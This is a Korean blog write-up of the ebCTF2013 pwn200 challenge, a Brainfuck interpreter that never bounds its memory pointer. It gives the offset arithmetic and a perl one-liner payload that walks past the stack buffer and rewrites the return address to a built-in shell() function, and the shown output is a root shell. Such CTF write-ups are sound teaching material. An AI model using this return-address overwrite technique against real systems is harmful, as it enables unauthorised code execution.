int $0x80

ebCTF2013 pwn200 Frainbuck Interderper 본문

해킹공부/캡쳐더플래그

ebCTF2013 pwn200 Frainbuck Interderper

cd80 cd80 2014.06.20 12:40

http://shell-storm.org/repo/CTF/EbCTF-2013-08/Pwnables/200/

바이너리는 brainfuck interpreter를 구현해놓은것입니다

brainfuck이 생소하신분들은

http://www.youtube.com/watch?v=OnQobTyqEd0 이 동영상이 설명이 잘돼있으니 이 동영상을 참고해주세요


brainfuck에선 > 랑 <로 메모리 인덱스를 변경하고

[ 이랑 ] 로 루프를 도는데

이 프로그램에선 >나 <로 갈수있는 인덱스의 한계를 정하지 않았습니다

버퍼가 스택에 있고 >로 인덱스를 올려줄수 있기 때문에

리턴어드레스를 조작할수 있습니다

그런데 nx와 aslr이 걸려있어 일반적인 방법으론 힘들고

바이너리 안에 shell()이란 함수가 들어있으니 이 함수로 바꿔주면됩니다


우선 리턴어드레스 위치부터 확인합니다

버퍼가 bp-0xc8에 위치하고 int []형입니다

따라서 리턴어드레스까지의 거리 나누기 4를 구하면됩니다

그러면 0xc8+0x4 / 4 = 51입니다


root@ubuntu:/home/ebctf2013# (perl -e 'print ">"x51, "."') | ./bf 

>> EINDBAZEN FRAINBUCK INTERDERPER READY.

> GIVE ME SOMETHING TO DANCE FOR: 0x08048a9d


THANKS FOR SUPPORTING US WITH YOUR BRAIN!

root@ubuntu:/home/ebctf2013# 


bf_main함수의 리턴어드레스가 0x8048a9d니 정확하게 구했습니다


shell()함수의 주소가 0x8048a6e니 

0x8048a6e - 0x8048a9d = -47


페이로드는 ">" * 51 + "-"*47 입니다


root@ubuntu:/home/ebctf2013# (perl -e 'print ">"x51, "-"x47';cat) | ./bf 

>> EINDBAZEN FRAINBUCK INTERDERPER READY.

> GIVE ME SOMETHING TO DANCE FOR: 


id

uid=0(root) gid=0(root) groups=0(root)


신고

'해킹공부 > 캡쳐더플래그' 카테고리의 다른 글

Codegate2015 junior writeup  (5) 2015.03.16
pCTF 2013 pork  (3) 2014.08.18
ebCTF2013 pwn200 Frainbuck Interderper  (3) 2014.06.20
pCTF 2014 mtpox writeup  (2) 2014.04.13
Volga CTF 2014 Exploit 100  (0) 2014.03.29
CodeGate 2014 angry_doraemon writeup  (16) 2014.02.24
3 Comments
댓글쓰기 폼